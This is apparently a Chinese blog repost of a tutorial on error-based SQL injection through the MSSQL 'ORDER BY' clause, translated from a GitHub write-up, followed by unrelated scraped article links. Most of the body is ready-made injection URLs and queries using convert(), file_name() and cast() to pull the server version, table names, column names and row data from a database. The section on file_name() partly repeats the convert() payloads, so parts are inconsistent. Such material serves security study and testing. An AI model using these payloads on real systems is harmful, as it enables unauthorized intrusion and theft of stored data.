SQL注入,又名黑客技术之母,是一种臭名昭著的安全漏洞,由于流毒甚广,已经给网络世界造成了巨大的破坏。当然,对于该漏洞的利用技术,也是花样繁多,如访问存储在数据库中的数据,使用MySQL的load和into outfile语句读写服务器代码,以及使用SA帐户在MSSQL中执行命令,等等。

在本文中,我们要利用的SQL注入漏洞出现在下面的情形中:当用户提供的数据通过MSSQL的“Order By”语句中的值进行传递时,如果SQL查询中存在语法错误,那么应用程序就会抛出SQL Server错误。

如果用户提供的数据在“Order By”子句中作为列名传递给SQL查询的话,那么常规的“基于错误的SQL注入”漏洞利用技术就无法生效了。

由于SQL Server已经为SQL查询预定义了一套安全规则,因此,我们无法使用常规的“基于错误的SQL注入”技术来攻击应用程序中的SQL注入漏洞。

不过,由于用户可以在Order by子句之后指定函数名称,同时,有些SQL server函数可以执行以参数传入的查询,并尝试对注入的查询的结果执行某些操作,如果操作遇到问题就会抛出错误,所以,如果我们对这些函数进行注入攻击,那么这些函数就会暴露注入的SQL查询的结果——这就是我们的漏洞利用思路。

文章目录

· 漏洞利用

· 演示:

· convert() 函数

· file_name()函数

· 原文链接:

漏洞利用

下面我们开始介绍可用于基于错误的SQL注入攻击的函数。 ( 内容推荐>>>>>>SQL注入漏洞的分析与利用 ,可申请免费试听,联系牛油果,微信 1472301220)

实际上,确实有少数几个SQL server函数可以满足我们的要求:执行其参数指定的SQL查询,并对查询结果执行指定的操作,还能通过错误消息给出SQL查询结果。

Convert()就是满足上述要求的一个函数,它常用于基于错误的SQL注入攻击中,因为它会按照第一个参数中指定的数据类型对第二个参数执行转换操作。

例如,对于convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,无法进行指定的转换,所以,convert函数会抛出一个SQL server错误消息,指出“SQL查询结果”无法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。

下面列出满足上述要求的各个函数:

· convert()

· file_name()

· db_name()

· col_name()

· filegroup_name()

· object_name()

· schema_name()

· type_name()

· cast()

演示:

假设这里有一个包含SQL注入漏洞的URL,它会将HTTP GET方法中名为“order”的参数的值(该值由用户指定)传递给SQL查询。该URL如下所示:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name

然后,应用程序会从HTTP GET方法的参数“order”中接收用户提供的数据,并生成如下所示的SQL查询:

Select table_name,column_name from information_schema.columns order by column_name

convert() 函数

· 查询SQL server版本

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

convert(int,@@version)

· 提取当前数据库的表名

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)

table_name from information_schema.columns))

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

CONVERT(int,(select top(1) table_name from information_schema.tables))

· 从表中提取列名

在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)

COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

· 提取表中的列数据

从数据表的列中提取数据实际上并不复杂,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1)

xserver_name from spt_fallback_db))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) xserver_name from spt_fallback_db))

file_name()函数

· 查询SQL server版本

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

file_name(@@version)

· 提取当前数据库的表名

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)

table_name from information_schema.columns))

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

CONVERT(int,(select top(1) table_name from information_schema.tables))

· 从表中提取列名

在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)

COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

· 从表中提取列数据

从数据表中提取列数据其实很简单,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1)

xserver_name from spt_fallback_db))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

file_name((select top(1) xserver_name from spt_fallback_db))

原文地址:https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20%E2%80%9COrder%20By%E2%80%9D%20clause%20(MSSQL).pdf

详解基于MSSQL “order by”语句报错的SQL注入技术的更多相关文章

  1. 基于报错的SQL注入整理

    SQLServer 一.利用错误消息提取信息 输入 'having 1=1 --(having一般要与group by一起来使用,group by是用来进行分组的,having后面是用来进行判断的), ...

  2. [MYSQL手工注入](3)基于报错的SQL注入实战

    0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...

  3. nrf52——DFU升级USB/UART升级方式详解(基于SDK开发例程)

    摘要:在前面的nrf52--DFU升级OTA升级方式详解(基于SDK开发例程)一文中我测试了基于蓝牙的OTA,本文将开始基于UART和USB(USB_CDC_)进行升级测试. 整体升级流程: 整个过程 ...

  4. HashMap实现详解 基于JDK1.8

    HashMap实现详解 基于JDK1.8 1.数据结构 散列表:是一种根据关键码值(Key value)而直接进行访问的数据结构.采用链地址法处理冲突. HashMap采用Node<K,V> ...

  5. SSE技术详解:一种全新的HTML5服务器推送事件技术

    前言 一般来说,Web端即时通讯技术因受限于浏览器的设计限制,一直以来实现起来并不容易,主流的Web端即时通讯方案大致有4种:传统Ajax短轮询.Comet技术.WebSocket技术.SSE(Ser ...

  6. 插入mysql语句报错:1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

    插入一个很简单的sql语句时候,mysql一直报错: [SQL] INSERT INTO ORDER ( id, activity_id, order_type, phone, order_amoun ...

  7. 解决Mysql搭建成功后执行sql语句报错以及区分大小写问题

    刚搭建完mysql 8.0以后会: 一.表区分大小写, 二.执行正确的sql语句成功且会报:[Err] 1055 - Expression #1 of ORDER BY clause is not i ...

  8. SQL语句报错(一)

    SQL语句报错(一) 1.具体报错如下: ORA-01861:文字格式字符串不匹配 01861. 00000 - "literal does not match format string& ...

  9. (转)android import library switch语句报错case expressions must be constant expressions

    今天当我从github上下载一个工程,并把它的库文件导入eclipse中,发现switch语句报错case expressions must be constant expressions : 解决方 ...

随机推荐

  1. 20190421-那些年使用过的CSS预处理器(CSS Preprocessor)

    写在前面的乱七八糟的前言: emmm,不得不说,早上七点是个好时间,公园里跳广场舞的大妈,街边卖菜刀看报的大爷,又不得不说,广州图书馆是个好地方,该有的安静,该有的人气,听着楼下小孩子的声音,看着周围 ...

  2. Android ViewPager+Fragment 在Activity中获取Fragment的控件

    如果ViewPager+Fragment实现Tab切换,在activity中利用adapter.getItem获取到fragment然后再根据fragment.的方法获取控件 //隐藏求租,以下代码用 ...

  3. 【SpringBoot笔记】SpringBoot整合Druid数据连接池

    废话少说,按SpringBoot的老套路来. [step1]:添加依赖 <!-- 数据库连接池 --> <dependency> <groupId>com.alib ...

  4. windows压缩图片

  5. 一个简易的kmp教学并给出java实现

    简单介绍一下问题 给定source字符串,找出target字符串出现的首位 例如 source   为“abddabddabc” target 为 “abddabc” 从第一位开始比较 |a b d ...

  6. 我的第一个python web开发框架(40)——后台日志与异常处理

    后台权限和底层框架的改造终于完成了,小白也终于可以放下紧悬着的心,可以轻松一下了.这不他为了感谢老菜,又找老菜聊了起来. 小白:多谢老大的帮忙,系统终于改造完成了,可以好好放松一下了. 老菜:呵呵,对 ...

  7. Linux 压缩某个文件夹命令

    tar -zcvf /home/xahot.tar.gz /xahot tar -zcvf 打包后生成的文件名全路径 要打包的目录 例子:把/xahot文件夹打包后生成一个/home/xahot.ta ...

  8. 第一课android开发之在activity间传递参数

    一.活动间简单参数传递:1.在布局中添加按钮,用<Button,用id设置id名称,id="@+id/这儿填写你要设置成的名称":用text设置按钮上显示的文字.text=& ...

  9. 012_python在shell下单行执行多行代码

    一.有时候只是简单的获取下时间戳,不想在python解释器的交互模式下再去执行python代码,如何实现呢? 以循环输出多行为例: (1)第一种方式: python -c "exec(\&q ...

  10. React 精要面试题讲解(五) 高阶组件真解

    说明与目录 在学习本章内容之前,最好是具备react中'插槽(children)'及'组合与继承' 这两点的知识积累. 详情请参照React 精要面试题讲解(四) 组合与继承不得不说的秘密. 哦不好意 ...